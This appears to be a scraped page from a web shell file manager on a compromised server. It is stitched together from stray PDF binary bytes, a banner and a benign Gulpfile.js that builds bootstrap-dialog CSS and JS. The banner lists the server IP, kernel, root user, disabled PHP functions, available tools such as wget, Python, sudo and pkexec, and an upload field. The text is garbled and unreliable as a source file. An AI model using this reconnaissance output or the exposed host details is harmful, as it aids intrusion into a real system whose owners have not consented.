%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.209 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/eoffice/frontend/web/assets/41f7f9c7/ |
Upload File : |
// Gulpfile.js
"use strict";
var gulp = require("gulp"),
eslint = require("gulp-eslint"),
less = require("gulp-less"),
minifyCSS = require("gulp-minify-css"),
path = require("path"),
notify = require("gulp-notify"),
clean = require("gulp-clean"),
rename = require("gulp-rename"),
concat = require("gulp-concat"),
uglify = require("gulp-uglify");
var less_src = [
"node_modules/bootstrap/less/variables.less",
"node_modules/bootstrap/less/mixins/*.less",
"src/less/bootstrap-dialog.less"
];
gulp.task("less", function() {
gulp.src(less_src)
.pipe(concat("bootstrap-dialog.less"))
.pipe(gulp.dest("dist/less"))
.pipe(less())
.pipe(gulp.dest("dist/css"))
.pipe(gulp.dest("src/css"))
.pipe(rename("bootstrap-dialog.min.css"))
.pipe(minifyCSS())
.pipe(gulp.dest("dist/css"));
});
gulp.task("lint", function() {
gulp.src(["src/js/bootstrap-dialog.js"])
.pipe(eslint())
.pipe(eslint.format());
});
gulp.task("dist", ["clean", "less"], function() {
gulp.src(["src/js/bootstrap-dialog.js"])
.pipe(gulp.dest("dist/js"))
.pipe(rename("bootstrap-dialog.min.js"))
.pipe(uglify())
.pipe(gulp.dest("dist/js"))
.pipe(notify({
message: "Build task completed."
}));
});
gulp.task("clean", function() {
return gulp.src(["dist/"], {
read: false
})
.pipe(clean());
});
gulp.task("default", ["clean"], function() {
gulp.start("dist");
});